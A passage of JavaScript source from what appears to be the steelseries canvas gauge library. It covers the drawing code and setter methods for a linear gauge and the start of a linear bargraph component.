0; valueStartY = imageHeight * 0.45; valueStopX = 0; valueStopY = imageHeight * 0.45 + imageHeight * 0.114285; } else { valueStartX = 0; valueStartY = imageHeight / 2 - imageWidth * 0.0250; valueStopX = 0; valueStopY = valueStartY + imageWidth * 0.053; } } var valueBackgroundGradient = ctx.createLinearGradient(valueStartX, valueStartY, valueStopX, valueStopY); valueBackgroundGradient.addColorStop(0, valueColor.medium.getRgbaColor()); valueBackgroundGradient.addColorStop(1, valueColor.light.getRgbaColor()); ctx.fillStyle = valueBackgroundGradient; var thermoTweak = (gaugeType.type === 'type1' ? 0 : (vertical ? imageHeight * 0.05 : imageWidth * 0.05)); if (vertical) { ctx.fillRect(valueStartX, valueTop, valueStopX - valueStartX, valueSize + thermoTweak); } else { ctx.fillRect(valueTop - thermoTweak, valueStartY, valueSize + thermoTweak, valueStopY - valueStartY); } if (gaugeType.type === 'type1') { // The light effect on the value if (vertical) { // Vertical orientation valueForegroundStartX = imageWidth * 0.45; valueForegroundStartY = 0; valueForegroundStopX = valueForegroundStartX + imageWidth * 0.05; valueForegroundStopY = 0; } else { // Horizontal orientation valueForegroundStartX = 0; valueForegroundStartY = imageHeight * 0.45; valueForegroundStopX = 0; valueForegroundStopY = valueForegroundStartY + imageHeight * 0.05; } var valueForegroundGradient = ctx.createLinearGradient(valueForegroundStartX, valueForegroundStartY, valueForegroundStopX, valueForegroundStopY); valueForegroundGradient.addColorStop(0, 'rgba(255, 255, 255, 0.7)'); valueForegroundGradient.addColorStop(0.98, 'rgba(255, 255, 255, 0.0)'); ctx.fillStyle = valueForegroundGradient; if (vertical) { ctx.fillRect(valueForegroundStartX, valueTop, valueForegroundStopX, valueSize); } else { ctx.fillRect(valueTop, valueForegroundStartY, valueSize, valueForegroundStopY - valueForegroundStartY); } } }; var drawForegroundImage = function (ctx) { var foreSize = (vertical ? imageHeight : imageWidth); ctx.save(); if (vertical) { ctx.translate(imageWidth / 2, 0); } else { ctx.translate(imageWidth / 2, imageHeight / 2); ctx.rotate(HALF_PI); ctx.translate(0, -imageWidth / 2 + imageWidth * 0.05); } // draw bulb ctx.beginPath(); ctx.moveTo(-0.0490 * foreSize, 0.825 * foreSize); ctx.bezierCurveTo(-0.0490 * foreSize, 0.7975 * foreSize, -0.0264 * foreSize, 0.775 * foreSize, 0.0013 * foreSize, 0.775 * foreSize); ctx.bezierCurveTo(0.0264 * foreSize, 0.775 * foreSize, 0.0490 * foreSize, 0.7975 * foreSize, 0.0490 * foreSize, 0.825 * foreSize); ctx.bezierCurveTo(0.0490 * foreSize, 0.85 * foreSize, 0.0264 * foreSize, 0.8725 * foreSize, 0.0013 * foreSize, 0.8725 * foreSize); ctx.bezierCurveTo(-0.0264 * foreSize, 0.8725 * foreSize, -0.0490 * foreSize, 0.85 * foreSize, -0.0490 * foreSize, 0.825 * foreSize); ctx.closePath(); var grad = ctx.createRadialGradient(0 * foreSize, 0.825 * foreSize, 0, 0 * foreSize, 0.825 * foreSize, 0.0490 * foreSize); grad.addColorStop(0, valueColor.medium.getRgbaColor()); grad.addColorStop(0.3, valueColor.medium.getRgbaColor()); grad.addColorStop(1, valueColor.light.getRgbaColor()); ctx.fillStyle = grad; ctx.fill(); // draw bulb highlight ctx.beginPath(); if (vertical) { ctx.moveTo(-0.0365 * foreSize, 0.8075 * foreSize); ctx.bezierCurveTo(-0.0365 * foreSize, 0.7925 * foreSize, -0.0214 * foreSize, 0.7875 * foreSize, -0.0214 * foreSize, 0.7825 * foreSize); ctx.bezierCurveTo(0.0189 * foreSize, 0.785 * foreSize, 0.0365 * foreSize, 0.7925 * foreSize, 0.0365 * foreSize, 0.8075 * foreSize); ctx.bezierCurveTo(0.0365 * foreSize, 0.8175 * foreSize, 0.0214 * foreSize, 0.815 * foreSize, 0.0013 * foreSize, 0.8125 * foreSize); ctx.bezierCurveTo(-0.0189 * foreSize, 0.8125 * foreSize, -0.0365 * foreSize, 0.8175 * foreSize, -0.0365 * foreSize, 0.8075 * foreSize); grad = ctx.createRadialGradient(0, 0.8 * foreSize, 0, 0, 0.8 * foreSize, 0.0377 * foreSize); } else { ctx.beginPath(); ctx.moveTo(-0.0214 * foreSize, 0.86 * foreSize); ctx.bezierCurveTo(-0.0365 * foreSize, 0.86 * foreSize, -0.0415 * foreSize, 0.845 * foreSize, -0.0465 * foreSize, 0.825 * foreSize); ctx.bezierCurveTo(-0.0465 * foreSize, 0.805 * foreSize, -0.0365 * foreSize, 0.7875 * foreSize, -0.0214 * foreSize, 0.7875 * foreSize); ctx.bezierCurveTo(-0.0113 * foreSize, 0.7875 * foreSize, -0.0163 * foreSize, 0.8025 * foreSize, -0.0163 * foreSize, 0.8225 * foreSize); ctx.bezierCurveTo(-0.0163 * foreSize, 0.8425 * foreSize, -0.0113 * foreSize, 0.86 * foreSize, -0.0214 * foreSize, 0.86 * foreSize); grad = ctx.createRadialGradient(-0.03 * foreSize, 0.8225 * foreSize, 0, -0.03 * foreSize, 0.8225 * foreSize, 0.0377 * foreSize); } grad.addColorStop(0.0, 'rgba(255, 255, 255, 0.55)'); grad.addColorStop(1.0, 'rgba(255, 255, 255, 0.05)'); ctx.fillStyle = grad; ctx.closePath(); ctx.fill(); // stem highlight ctx.beginPath(); ctx.moveTo(-0.0214 * foreSize, 0.115 * foreSize); ctx.bezierCurveTo(-0.0214 * foreSize, 0.1075 * foreSize, -0.0163 * foreSize, 0.1025 * foreSize, -0.0113 * foreSize, 0.1025 * foreSize); ctx.bezierCurveTo(-0.0113 * foreSize, 0.1025 * foreSize, -0.0113 * foreSize, 0.1025 * foreSize, -0.0113 * foreSize, 0.1025 * foreSize); ctx.bezierCurveTo(-0.0038 * foreSize, 0.1025 * foreSize, 0.0013 * foreSize, 0.1075 * foreSize, 0.0013 * foreSize, 0.115 * foreSize); ctx.bezierCurveTo(0.0013 * foreSize, 0.115 * foreSize, 0.0013 * foreSize, 0.76 * foreSize, 0.0013 * foreSize, 0.76 * foreSize); ctx.bezierCurveTo(0.0013 * foreSize, 0.7675 * foreSize, -0.0038 * foreSize, 0.7725 * foreSize, -0.0113 * foreSize, 0.7725 * foreSize); ctx.bezierCurveTo(-0.0113 * foreSize, 0.7725 * foreSize, -0.0113 * foreSize, 0.7725 * foreSize, -0.0113 * foreSize, 0.7725 * foreSize); ctx.bezierCurveTo(-0.0163 * foreSize, 0.7725 * foreSize, -0.0214 * foreSize, 0.7675 * foreSize, -0.0214 * foreSize, 0.76 * foreSize); ctx.bezierCurveTo(-0.0214 * foreSize, 0.76 * foreSize, -0.0214 * foreSize, 0.115 * foreSize, -0.0214 * foreSize, 0.115 * foreSize); ctx.closePath(); grad = ctx.createLinearGradient(-0.0189 * foreSize, 0, 0.0013 * foreSize, 0); grad.addColorStop(0.0, 'rgba(255, 255, 255, 0.1)'); grad.addColorStop(0.34, 'rgba(255, 255, 255, 0.5)'); grad.addColorStop(1.0, 'rgba(255, 255, 255, 0.1)'); ctx.fillStyle = grad; ctx.fill(); ctx.restore(); }; var drawBackgroundImage = function (ctx) { var backSize = (vertical ? imageHeight : imageWidth); ctx.save(); if (vertical) { ctx.translate(imageWidth / 2, 0); } else { ctx.translate(imageWidth / 2, imageHeight / 2); ctx.rotate(HALF_PI); ctx.translate(0, -imageWidth / 2 + imageWidth * 0.05); } ctx.beginPath(); ctx.moveTo(-0.0516 * backSize, 0.825 * backSize); ctx.bezierCurveTo(-0.0516 * backSize, 0.8525 * backSize, -0.0289 * backSize, 0.875 * backSize, 0.0013 * backSize, 0.875 * backSize); ctx.bezierCurveTo(0.0289 * backSize, 0.875 * backSize, 0.0516 * backSize, 0.8525 * backSize, 0.0516 * backSize, 0.825 * backSize); ctx.bezierCurveTo(0.0516 * backSize, 0.8075 * backSize, 0.0440 * backSize, 0.7925 * backSize, 0.0314 * backSize, 0.7825 * backSize); ctx.bezierCurveTo(0.0314 * backSize, 0.7825 * backSize, 0.0314 * backSize, 0.12 * backSize, 0.0314 * backSize, 0.12 * backSize); ctx.bezierCurveTo(0.0314 * backSize, 0.1025 * backSize, 0.0189 * backSize, 0.0875 * backSize, 0.0013 * backSize, 0.0875 * backSize); ctx.bezierCurveTo(-0.0163 * backSize, 0.0875 * backSize, -0.0289 * backSize, 0.1025 * backSize, -0.0289 * backSize, 0.12 * backSize); ctx.bezierCurveTo(-0.0289 * backSize, 0.12 * backSize, -0.0289 * backSize, 0.7825 * backSize, -0.0289 * backSize, 0.7825 * backSize); ctx.bezierCurveTo(-0.0415 * backSize, 0.79 * backSize, -0.0516 * backSize, 0.805 * backSize, -0.0516 * backSize, 0.825 * backSize); ctx.closePath(); var grad = ctx.createLinearGradient(-0.0163 * backSize, 0, 0.0289 * backSize, 0); grad.addColorStop(0, 'rgba(226, 226, 226, 0.5)'); grad.addColorStop(0.5, 'rgba(226, 226, 226, 0.2)'); grad.addColorStop(1, 'rgba(226, 226, 226, 0.5)'); ctx.fillStyle = grad; ctx.fill(); ctx.lineWidth = 1; ctx.strokeStyle = 'rgba(153, 153, 153, 0.5)'; ctx.stroke(); ctx.restore(); }; //************************************ Public methods ************************************** this.setValue = function (newValue) { newValue = parseFloat(newValue); var targetValue = (newValue < minValue ? minValue : (newValue > maxValue ? maxValue : newValue)); if (value !== targetValue) { value = targetValue; if (value > maxMeasuredValue) { maxMeasuredValue = value; } if (value < minMeasuredValue) { minMeasuredValue = value; } if ((value >= threshold && !ledBlinking && thresholdRising) || (value <= threshold && !ledBlinking && !thresholdRising)) { ledBlinking = true; blink(ledBlinking); if (playAlarm) { audioElement.play(); } } else if ((value < threshold && ledBlinking && thresholdRising) || (value > threshold && ledBlinking && !thresholdRising)) { ledBlinking = false; blink(ledBlinking); if (playAlarm) { audioElement.pause(); } } this.repaint(); } return this; }; this.getValue = function () { return value; }; this.setValueAnimated = function (newValue, callback) { var targetValue, gauge = this, time; newValue = parseFloat(newValue); targetValue = (newValue < minValue ? minValue : (newValue > maxValue ? maxValue : newValue)); if (value !== targetValue) { if (undefined !== tween && tween.isPlaying) { tween.stop(); } time = fullScaleDeflectionTime * Math.abs(targetValue - value) / (maxValue - minValue); time = Math.max(time, fullScaleDeflectionTime / 5); tween = new Tween({}, '', Tween.regularEaseInOut, value, targetValue, time); //tween = new Tween({}, '', Tween.regularEaseInOut, value, targetValue, 1); tween.onMotionChanged = function (event) { value = event.target._pos; if (value > maxMeasuredValue) { maxMeasuredValue = value; } if (value < minMeasuredValue) { minMeasuredValue = value; } if ((value >= threshold && !ledBlinking && thresholdRising) || (value <= threshold && !ledBlinking && !thresholdRising)) { ledBlinking = true; blink(ledBlinking); if (playAlarm) { audioElement.play(); } } else if ((value < threshold && ledBlinking && thresholdRising) || (value > threshold && ledBlinking && !thresholdRising)) { ledBlinking = false; blink(ledBlinking); if (playAlarm) { audioElement.pause(); } } if (!repainting) { repainting = true; requestAnimFrame(gauge.repaint); } }; // do we have a callback function to process? if (callback && typeof(callback) === "function") { tween.onMotionFinished = callback; } tween.start(); } return this; }; this.resetMinMeasuredValue = function () { minMeasuredValue = value; this.repaint(); return this; }; this.resetMaxMeasuredValue = function () { maxMeasuredValue = value; this.repaint(); return this; }; this.setMinMeasuredValueVisible = function (visible) { minMeasuredValueVisible = !!visible; this.repaint(); return this; }; this.setMaxMeasuredValueVisible = function (visible) { maxMeasuredValueVisible = !!visible; this.repaint(); return this; }; this.setThreshold = function (threshVal) { threshVal = parseFloat(threshVal); var targetValue = (threshVal < minValue ? minValue : (threshVal > maxValue ? maxValue : threshVal)); threshold = targetValue; resetBuffers({background: true}); init({background: true}); this.repaint(); return this; }; this.setThresholdVisible = function (visible) { thresholdVisible = !!visible; this.repaint(); return this; }; this.setThresholdRising = function (rising) { thresholdRising = !!rising; // reset existing threshold alerts ledBlinking = !ledBlinking; blink(ledBlinking); this.repaint(); return this; }; this.setLcdDecimals = function (decimals) { lcdDecimals = parseInt(decimals, 10); this.repaint(); return this; }; this.setFrameDesign = function (newFrameDesign) { resetBuffers({frame: true}); frameDesign = newFrameDesign; init({frame: true}); this.repaint(); return this; }; this.setBackgroundColor = function (newBackgroundColor) { resetBuffers({background: true}); backgroundColor = newBackgroundColor; init({background: true}); this.repaint(); return this; }; this.setValueColor = function (newValueColor) { resetBuffers({foreground: true}); valueColor = newValueColor; init({foreground: true}); this.repaint(); return this; }; this.setLedColor = function (newLedColor) { resetBuffers({led: true}); ledColor = newLedColor; init({led: true}); this.repaint(); return this; }; this.setLedVisible = function (visible) { ledVisible = !!visible; this.repaint(); return this; }; this.setLcdColor = function (newLcdColor) { resetBuffers({background: true}); lcdColor = newLcdColor; init({background: true}); this.repaint(); return this; }; this.setMaxMeasuredValue = function (newVal) { newVal = parseFloat(newVal); var targetValue = (newVal < minValue ? minValue : (newVal > maxValue ? maxValue : newVal)); maxMeasuredValue = targetValue; this.repaint(); return this; }; this.setMinMeasuredValue = function (newVal) { newVal = parseFloat(newVal); var targetValue = (newVal < minValue ? minValue : (newVal > maxValue ? maxValue : newVal)); minMeasuredValue = targetValue; this.repaint(); return this; }; this.setTitleString = function (title) { titleString = title; resetBuffers({background: true}); init({background: true}); this.repaint(); return this; }; this.setUnitString = function (unit) { unitString = unit; resetBuffers({background: true}); init({background: true}); this.repaint(); return this; }; this.setMinValue = function (newVal) { resetBuffers({background: true}); minValue = parseFloat(newVal); if (minMeasuredValue < minValue) { minMeasuredValue = minValue; } if (value < minValue) { value = minValue; } init({background: true}); this.repaint(); return this; }; this.getMinValue = function () { return minValue; }; this.setMaxValue = function (newVal) { resetBuffers({background: true}); maxValue = parseFloat(newVal); if (maxMeasuredValue > maxValue) { maxMeasuredValue = maxValue; } if (value > maxValue) { value = maxValue; } init({background: true}); this.repaint(); return this; }; this.getMaxValue = function () { return maxValue; }; this.repaint = function () { if (!initialized) { init({frame: true, background: true, led: true, foreground: true}); } mainCtx.clearRect(0, 0, mainCtx.canvas.width, mainCtx.canvas.height); // Draw frame if (frameVisible) { mainCtx.drawImage(frameBuffer, 0, 0); } // Draw buffered image to visible canvas mainCtx.drawImage(backgroundBuffer, 0, 0); // Draw lcd display if (lcdVisible) { drawLcdText(mainCtx, value, vertical); } // Draw led if (ledVisible) { mainCtx.drawImage(ledBuffer, ledPosX, ledPosY); } var valuePos; var yOffset; var yRange; var minMaxX, minMaxY; // Draw min measured value indicator if (minMeasuredValueVisible) { if (vertical) { yOffset = (gaugeType.type === 'type1' ? 0.856796 : 0.7475); yRange = (yOffset - 0.128640); valuePos = imageHeight * yOffset - (imageHeight * yRange) * (minMeasuredValue - minValue) / (maxValue - minValue); minMaxX = imageWidth * 0.34 - minMeasuredValueBuffer.width; minMaxY = valuePos - minMeasuredValueBuffer.height / 2; } else { yOffset = (gaugeType.type === 'type1' ? 0.871012 : 0.82); yRange = yOffset - (gaugeType.type === 'type1' ? 0.142857 : 0.19857); valuePos = (imageWidth * yRange) * (minMeasuredValue - minValue) / (maxValue - minValue); minMaxX = imageWidth * (gaugeType.type === 'type1' ? 0.142857 : 0.19857) - minMeasuredValueBuffer.height / 2 + valuePos; minMaxY = imageHeight * 0.65; } mainCtx.drawImage(minMeasuredValueBuffer, minMaxX, minMaxY); } // Draw max measured value indicator if (maxMeasuredValueVisible) { if (vertical) { valuePos = imageHeight * yOffset - (imageHeight * yRange) * (maxMeasuredValue - minValue) / (maxValue - minValue); minMaxX = imageWidth * 0.34 - maxMeasuredValueBuffer.width; minMaxY = valuePos - maxMeasuredValueBuffer.height / 2; } else { yOffset = (gaugeType.type === 'type1' ? 0.871012 : 0.8); yRange = yOffset - (gaugeType.type === 'type1' ? 0.14857 : 0.19857); valuePos = (imageWidth * yRange) * (maxMeasuredValue - minValue) / (maxValue - minValue); minMaxX = imageWidth * (gaugeType.type === 'type1' ? 0.142857 : 0.19857) - maxMeasuredValueBuffer.height / 2 + valuePos; minMaxY = imageHeight * 0.65; } mainCtx.drawImage(maxMeasuredValueBuffer, minMaxX, minMaxY); } mainCtx.save(); drawValue(mainCtx, imageWidth, imageHeight); mainCtx.restore(); // Draw foreground if (foregroundVisible || gaugeType.type === 'type2') { mainCtx.drawImage(foregroundBuffer, 0, 0); } repainting = false; }; // Visualize the component this.repaint(); return this; }; var linearBargraph = function (canvas, parameters) { parameters = parameters || {}; var width = (undefined === parameters.width ? 0 : parameters.width), height = (undefined === parameters.height ? 0 : parameters.height), minValue = (undefined === parameters.minValue ? 0 : parameters.minValue), maxValue = (undefined === parameters.maxValue ? (minValue + 100) : parameters.maxValue), section = (undefined === parameters.section ? null : parameters.section), useSectionColors = (undefined === parameters.useSectionColors ? false : parameters.useSectionColors), niceScale = (undefined === parameters.niceScale ? true : parameters.niceScale), threshold = (undefined === parameters.threshold ? (maxValue - minValue) / 2 + minValue: parameters.threshold), titleString = (undefined === parameters.titleString ? '' : parameters.titleString), unitString = (undefined === parameters.unitString ? '' : parameters.unitString), frameDesign = (undefined === parameters.frameDesign ? steelseries.FrameDesign.METAL : parameters.frameDesign), frameVisible = (undefined === parameters.frameVisible ? true : parameters.frameVisible), backgroundColor = (undefined === parameters.backgroundColor ? steelseries.BackgroundColor.DARK_GRAY : parameters.backgroundColor), backgroundVisible = (undefined === parameters.backgroundVisible ? true : parameters.backgroundVisible), valueColor = (undefined === parameters.valueColor ? steelseries.ColorDef.RED : parameters.valueColor), lcdColor = (undefined === parameters.lcdColor ? steelseries.LcdColor.STANDARD : parameters.lcdColor), lcdVisible = (undefined === parameters.lcdVisible ? true : parameters.lcdVisible), lcdDecimals = (undefined === parameters.lcdDecimals ? 2 : parameters.lcdDecimals), digitalFont = (undefined === parameters.digitalFont ? false : parameters.digitalFont), ledColor = (undefined === parameters.ledColor ? steelseries.LedColor.RED_LED : parameters.ledColor), ledVisible = (undefined === parameters.ledVisible ? true : parameters.ledVisible), thresholdVisible = (undefined === parameters.thresholdVisible ? true : parameters.thresholdVisible), thresholdRising = (undefined === parameters.thresholdRising ? true : parameters.thresholdRising), minMeasuredValueVisible = (undefined === parameters.minMeasuredValueVisible ? false : parameters.minMeasuredValueVisible), maxMeasuredValueVisible = (undefined === parameters.maxMeasuredValueVisible ? false : parameters.maxMeasuredValueVisible), labelNumberFormat = (undefined === parameters.labelNumberFormat ? steelseries.LabelNumberFormat.STANDARD : parameters.labelNumberFormat), foregroundVisible = (undefined === parameters.foregroundVisible ? true : parameters.foregroundVisible), playAlarm = (undefined === parameters.playAlarm ? false : parameters.playAlarm), alarmSound = (undefined === parameters.alarmSound ? false : parameters.alarmSound), valueGradient = (undefined === parameters.valueGradient ? null : parameters.valueGradient), useValueGradient = (undefined === parameters.useValueGradient ? false : parameters.useValueGradient), fullScaleDeflectionTime = (undefined === parameters.fullScaleDeflectionTime ? 2.5 : parameters.fullScaleDeflectionTime); // Get the canvas context and clear it var mainCtx = getCanvasContext(canvas); // Has a size been specified? if (width === 0) { width = mainCtx.canvas.width; } if (height === 0) { height = mainCtx.canvas.height; } // Set the size - also clears the canvas mainCtx.canvas.width = width; mainCtx.canvas.height = height; var imageWidth = width; var imageHeight = height; // Create audio tag for alarm sound if (playAlarm && alarmSound !== false) { var audioElement = doc.createElement('audio'); audioElement.setAttribute('src', alarmSound); audioElement.setAttribute('preload', 'auto'); } var self = this; var value = minValue; // Properties var minMeasuredValue = maxValue; var maxMeasuredValue = minValue; var tween; var ledBlinking = false; var repainting = false; var isSectionsVisible = false; var isGradientVisible = false; var sectionPixels = []; var ledTimerId = 0; var vertical = width <= height; // Constants var ledPosX; var ledPosY; var ledSize = Math.round((vertical ? height : width) * 0.05); var minMaxIndSize = Math.round((vertical ? width : height) * 0.05); var stdFont; var lcdFont; if (vertical) { ledPosX = imageWidth / 2 - ledSize / 2; ledPosY = 0.053 * imageHeight; stdFont = Math.floor(imageHeight / 22) + 'px ' + stdFontName; lcdFont = Math.floor(imageHeight / 22) + 'px ' + lcdFontName; } else { ledPosX = 0.89 * imageWidth; ledPosY = imageHeight / 1.95 - ledSize / 2; stdFont = Math.floor(imageHeight / 10) + 'px ' + stdFontName; lcdFont = Math.floor(imageHeight / 10) + 'px ' + lcdFontName; } var initialized = false; // Tickmark specific private variables var niceMinValue = minValue; var niceMaxValue = maxValue; var niceRange = maxValue - minValue; var range = niceMaxValue - niceMinValue; var minorTickSpacing = 0; var majorTickSpacing = 0; var maxNoOfMinorTicks = 10; var maxNoOfMajorTicks = 10; // Method to calculate nice values for min, max and range for the tickmarks var calculate = function calculate() { if (niceScale) { niceRange = calcNiceNumber(maxValue - minValue, false); majorTickSpacing = calcNiceNumber(niceRange / (maxNoOfMajorTicks - 1), true); niceMinValue = Math.floor(minValue / majorTickSpacing) * majorTickSpacing; niceMaxValue = Math.ceil(maxValue / majorTickSpacing) * majorTickSpacing; minorTickSpacing = calcNiceNumber(majorTickSpacing / (maxNoOfMinorTicks - 1), true); minValue = niceMinValue; maxValue = niceMaxValue; range = maxValue - minValue; } else { niceRange = (maxValue - minValue); niceMinValue = minValue; niceMaxValue = maxValue; range = niceRange; minorTickSpacing = 1; majorTickSpacing = 10; } }; // ************** Buffer creation ******************** // Buffer for the frame var frameBuffer = createBuffer(width, height); var frameContext = frameBuffer.getContext('2d'); // Buffer for the background var backgroundBuffer = createBuffer(width, height); var backgroundContext = backgroundBuffer.getContext('2d'); var lcdBuffer; // Buffer for active bargraph led var activeLedBuffer = doc.createElement('canvas'); if (vertical) { activeLedBuffer.width = imageWidth * 0.121428; activeLedBuffer.height = imageHeight * 0.012135; } else { activeLedBuffer.width = imageWidth * 0.012135; activeLedBuffer.height = imageHeight * 0.121428; } var activeLedContext = activeLedBuffer.getContext('2d'); // Buffer for active bargraph led var inActiveLedBuffer = doc.createElement('canvas'); if (vertical) { inActiveLedBuffer.width = imageWidth * 0.121428; inActiveLedBuffer.height = imageHeight * 0.012135; } else { inActiveLedBuffer.width = imageWidth * 0.012135; inActiveLedBuffer.height = imageHeight * 0.121428; } var inActiveLedContext = inActiveLedBuffer.getContext('2d'); // Buffer for led on painting code var ledBufferOn = createBuffer(ledSize, ledSize); var ledContextOn = ledBufferOn.getContext('2d'); // Buffer for led off painting code var ledBufferOff = createBuffer(ledSize, ledSize); var ledContextOff = ledBufferOff.getContext('2d'); // Buffer for current led painting code var ledBuffer = ledBufferOff; // Buffer for the minMeasuredValue indicator var minMeasuredValueBuffer = createBuffer(minMaxIndSize, minMaxIndSize); var minMeasuredValueCtx = minMeasuredValueBuffer.getContext('2d'); // Buffer for the maxMeasuredValue indicator var maxMeasuredValueBuffer = createBuffer(minMaxIndSize, minMaxIndSize); var maxMeasuredValueCtx = maxMeasuredValueBuffer.getContext('2d'); // Buffer for static foreground painting code var foregroundBuffer = createBuffer(width, height); var foregroundContext = foregroundBuffer.getContext('2d'); // ************** Image creation ******************** var drawLcdText = function (ctx, value, vertical) { ctx.save(); ctx.textAlign = 'right'; ctx.textBaseline = 'middle'; ctx.strokeStyle = lcdColor.textColor; ctx.fillStyle = lcdColor.textColor; if (lcdColor === steelseries.LcdColor.STANDARD || lcdColor === steelseries.LcdColor.STANDARD_GREEN) { ctx.shadowColor = 'gray'; if (vertical) { ctx.shadowOffsetX = imageWidth * 0.007; ctx.shadowOffsetY = imageWidth * 0.007; ctx.shadowBlur = imageWidth * 0.009; } else { ctx.shadowOffsetX = imageHeight * 0.007; ctx.shadowOffsetY = imageHeight * 0.007; ctx.shadowBlur = imageHeight * 0.009; } } var lcdTextX; var lcdTextY; var lcdTextWidth; if (digitalFont) { ctx.font = lcdFont; } else { ctx.font = stdFont; } if (vertical) { lcdTextX = (imageWidth - (imageWidth * 0.571428)) / 2 + 1 + imageWidth * 0.571428 - 2; lcdTextY = imageHeight * 0.88 + 1 + (imageHeight * 0.055 - 2) / 2; lcdTextWidth = imageWidth * 0.7 - 2; } else { lcdTextX = (imageWidth * 0.695) + imageWidth * 0.18 - 2; lcdTextY = (imageHeight * 0.22) + 1 + (imageHeight * 0.15 - 2) / 2; lcdTextWidth = imageHeight * 0.22 - 2; } ctx.fillText(value.toFixed(lcdDecimals), lcdTextX, lcdTextY, lcdTextWidth); ctx.restore(); }; var createThresholdImage = function (vertical) { var thresholdBuffer = doc.createElement('canvas'); thresholdBuffer.height = thresholdBuffer.width = minMaxIndSize; var thresholdCtx = thresholdBuffer.getContext('2d'); thresholdCtx.save(); var gradThreshold = thresholdCtx.createLinearGradient(0, 0.1, 0, thresholdBuffer.height * 0.9); gradThreshold.addColorStop(0, '#520000'); gradThreshold.addColorStop(0.3, '#fc1d00'); gradThreshold.addColorStop(0.59, '#fc1d00'); gradThreshold.addColorStop(1, '#520000'); thresholdCtx.fillStyle = gradThreshold; if (vertical) { thresholdCtx.beginPath(); thresholdCtx.moveTo(0.1, thresholdBuffer.height * 0.5); thresholdCtx.lineTo(thresholdBuffer.width * 0.9, 0.1); thresholdCtx.lineTo(thresholdBuffer.width * 0.9, thresholdBuffer.height * 0.9); thresholdCtx.closePath(); } else { thresholdCtx.beginPath(); thresholdCtx.moveTo(0.1, 0.1); thresholdCtx.lineTo(thresholdBuffer.width * 0.9, 0.1); thresholdCtx.lineTo(thresholdBuffer.width * 0.5, thresholdBuffer.height * 0.9); thresholdCtx.closePath(); } thresholdCtx.fill(); thresholdCtx.strokeStyle = '#FFFFFF'; thresholdCtx.stroke(); thresholdCtx.restore(); return thresholdBuffer; }; var drawTickmarksImage = function (ctx, labelNumberFormat, vertical) { backgroundColor.labelColor.setAlpha(1); ctx.save(); ctx.textBaseline = 'middle'; var TEXT_WIDTH = imageWidth * 0.1; ctx.strokeStyle = backgroundColor.labelColor.getRgbaColor(); ctx.fillStyle = backgroundColor.labelColor.getRgbaColor(); var valueCounter = minValue; var majorTickCounter = maxNoOfMinorTicks - 1; var tickCounter; var currentPos; var scaleBoundsX; var scaleBoundsY; var scaleBoundsW; var scaleBoundsH; var tickSpaceScaling = 1; var minorTickStart; var minorTickStop; var mediumTickStart; var mediumTickStop; var majorTickStart; var majorTickStop; if (vertical) { minorTickStart = (0.34 * imageWidth); minorTickStop = (0.36 * imageWidth); mediumTickStart = (0.33 * imageWidth); mediumTickStop = (0.36 * imageWidth); majorTickStart = (0.32 * imageWidth); majorTickStop = (0.36 * imageWidth); ctx.textAlign = 'right'; scaleBoundsX = 0; scaleBoundsY = imageHeight * 0.128640; scaleBoundsW = 0; scaleBoundsH = (imageHeight * 0.856796 - imageHeight * 0.128640); tickSpaceScaling = scaleBoundsH / (maxValue - minValue); } else { minorTickStart = (0.65 * imageHeight); minorTickStop = (0.63 * imageHeight); mediumTickStart = (0.66 * imageHeight); mediumTickStop = (0.63 * imageHeight); majorTickStart = (0.67 * imageHeight); majorTickStop = (0.63 * imageHeight); ctx.textAlign = 'center'; scaleBoundsX = imageWidth * 0.142857; scaleBoundsY = 0; scaleBoundsW = (imageWidth * 0.871012 - imageWidth * 0.142857); scaleBoundsH = 0; tickSpaceScaling = scaleBoundsW / (maxValue - minValue); } var labelCounter; for (labelCounter = minValue, tickCounter = 0; labelCounter <= maxValue; labelCounter += minorTickSpacing, tickCounter += minorTickSpacing) { // Calculate the bounds of the scaling if (vertical) { currentPos = scaleBoundsY + scaleBoundsH - tickCounter * tickSpaceScaling; } else { currentPos = scaleBoundsX + tickCounter * tickSpaceScaling; } majorTickCounter++; // Draw tickmark every major tickmark spacing if (majorTickCounter === maxNoOfMinorTicks) { // Draw the major tickmarks ctx.lineWidth = 1.5; drawLinearTicks(ctx, majorTickStart, majorTickStop, currentPos, vertical); // Draw the standard tickmark labels if (vertical) { // Vertical orientation switch (labelNumberFormat.format) { case 'fractional': ctx.fillText((valueCounter.toFixed(2)), imageWidth * 0.28, currentPos, TEXT_WIDTH); break; case 'scientific': ctx.fillText((valueCounter.toPrecision(2)), imageWidth * 0.28, currentPos, TEXT_WIDTH); break; case 'standard': /* falls through */ default: ctx.fillText((valueCounter.toFixed(0)), imageWidth * 0.28, currentPos, TEXT_WIDTH); break; } } else { // Horizontal orientation switch (labelNumberFormat.format) { case 'fractional': ctx.fillText((valueCounter.toFixed(2)), currentPos, (imageHeight * 0.73), TEXT_WIDTH); break; case 'scientific': ctx.fillText((valueCounter.toPrecision(2)), currentPos, (imageHeight * 0.73), TEXT_WIDTH); break; case 'standard': /* falls through */ default: ctx.fillText((valueCounter.toFixed(0)), currentPos, (imageHeight * 0.73), TEXT_WIDTH); break; } } valueCounter += majorTickSpacing; majorTickCounter = 0; continue; } // Draw tickmark every minor tickmark spacing if (0 === maxNoOfMinorTicks % 2 && majorTickCounter === (maxNoOfMinorTicks / 2)) { ctx.lineWidth = 1; drawLinearTicks(ctx, mediumTickStart, mediumTickStop, currentPos, vertical); } else { ctx.lineWidth = 0.5; drawLinearTicks(ctx, minorTickStart, minorTickStop, currentPos, vertical); } } ctx.restore(); }; var drawLinearTicks = function (ctx, tickStart, tickStop, currentPos, vertical) { if (vertical) { // Vertical orientation ctx.beginPath(); ctx.moveTo(tickStart, currentPos); ctx.lineTo(tickStop, currentPos); ctx.closePath(); ctx.stroke(); } else { // Horizontal orientation ctx.beginPath(); ctx.moveTo(currentPos, tickStart); ctx.lineTo(currentPos, tickStop); ctx.closePath(); ctx.stroke(); } }; // ************** Initialization ******************** var init = function (parameters) { parameters = parameters || {}; var drawFrame = (undefined === parameters.frame ? false : parameters.frame); var drawBackground = (undefined === parameters.background ? false : parameters.background); var drawLed = (undefined === parameters.led ? false : parameters.led); var drawForeground = (undefined === parameters.foreground ? false : parameters.foreground); var drawBargraphLed = (undefined === parameters.bargraphled ? false : parameters.bargraphled); initialized = true; // Calculate the current min and max values and the range calculate(); // Create frame in frame buffer (backgroundBuffer) if (drawFrame && frameVisible) { drawLinearFrameImage(frameContext, frameDesign, imageWidth, imageHeight, vertical); } // Create background in background buffer (backgroundBuffer) if 